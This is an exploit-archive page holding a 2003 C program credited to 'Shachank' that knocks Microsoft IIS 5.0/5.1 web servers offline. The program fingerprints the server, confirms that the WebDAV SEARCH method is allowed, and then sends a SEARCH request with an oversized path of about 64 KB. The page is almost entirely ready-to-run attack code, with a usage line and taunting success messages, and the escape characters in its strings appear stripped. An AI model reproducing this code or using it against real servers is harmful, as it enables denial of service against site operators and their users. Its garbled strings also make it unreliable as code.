[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows IIS 5.0 - 5.1 Remote Denial of Service Exploit
# Published : 2003-05-31
# Author : Shachank
# Previous Title : Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Exploit
# Next Title : Pi3Web 2.0.1 Denial of Service - Proof of Concept
/*
Microsoft IIS versions 5.0 and 5.1 remote denial of service exploit
that makes use of the vulnerability recently published by SPI dynamics
Published on 31.05.2003
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
void graphitte()
{printf("n********************************** ");
printf("n Webdav MICROSOFT IIS DoS Exploit * n");
printf("+++++++++++++++++++++++++++++++*n");
printf(" by Shachank Pandrey *n");
printf("*************************************n");
}
char *funk(char tobesent[100],char *host)
{
int s; char got[100];
WSADATA wsaData;
struct hostent *yo;
struct sockaddr_in heck;
char lala[100];
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return 0;
}
if ((yo = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 0;
}
heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("Error: Unable to create socket");
}
if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error: Cudn't Connectrn");
}
memset(lala,0,sizeof(lala));
sprintf(lala,"%s",tobesent,sizeof(tobesent));
send(s,lala,strlen(lala),0);
recv(s,got,100,0);
return got;
closesocket(s);
WSACleanup();
printf("done.n");
}
int main(int argc, char *argv[])
{
WSADATA wsaData;
int s;char mysend[100];
char *gotme;
char trash[100];
struct hostent *yo;
struct sockaddr_in heck;
char buffer[65535] ="";
char myrequest[80000];
char content[] =
"<?xml version="1.0"?>rn"
"<g:searchrequest xmlns:g="DAV:">rn"
"<g:sql>rn"
"Select "DAV:displayname" from scope()rn"
"</g:sql>rn"
"</g:searchrequest>rn";
graphitte();
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("Error :Cudn't initiate winsock!");
return 0;
}
if(argc<2)
{printf("nUsage : %s <I.P./Hostname>nn",argv[0]);
exit(0);}
if ( (yo = gethostbyname(argv[1]))==0)
{
printf("error: can't resolve '%s'",argv[1]);
return 1;
}
printf("nChecking web server %sn",argv[1]);
gotme=(char *)funk("GET / HTTP/1.0rnn",argv[1]);
if (strstr(gotme,"IIS/5.0") == NULL)
{ printf("nr----> %s is not running IIS 5.0! adios !n",argv[1]); }
else
{
printf("nr----> Aww rite! IIS 5.0 found on %s !n",argv[1]);
sprintf(mysend,"SEARCH / HTTP/1.0rnn",40);
gotme=(char *)funk(mysend,argv[1]);
if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)
{ printf("nr----> METHOD SEARCH ALLOWEDrn"); }
else
{
printf("n----> Method SEARCH not Allowed ! adios...n");
exit(0);
}
heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}
if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error:Cudn't Connectrn");
return 1;
}
buffer[sizeof(buffer)]=0x00;
memset(buffer,'S',sizeof(buffer));
memset(myrequest,0,sizeof(myrequest));
memset(trash,0,sizeof(trash));
sprintf(myrequest,"SEARCH /%s HTTP/1.1rnHost: %sr
nContent-type: text/xmlrnContent-Length: ",buffer,argv[1]);
sprintf(myrequest,"%s%drnrn",myrequest,strlen(content));
printf("rnDoSsing the server...<pray>n");
send(s,myrequest,strlen(myrequest),0);
send(s,content,strlen(content),0);
recv(s,trash,sizeof(trash),0);
if(trash[0]==0x00)
{
printf("Server is DoSsed! Now run !! F-B-eyee is after j00...rn");
}
else
printf("Server is prolly patched.rn");
closesocket(s);
}
WSACleanup();
return 1;
}
// www.Syue.com [2003-05-31]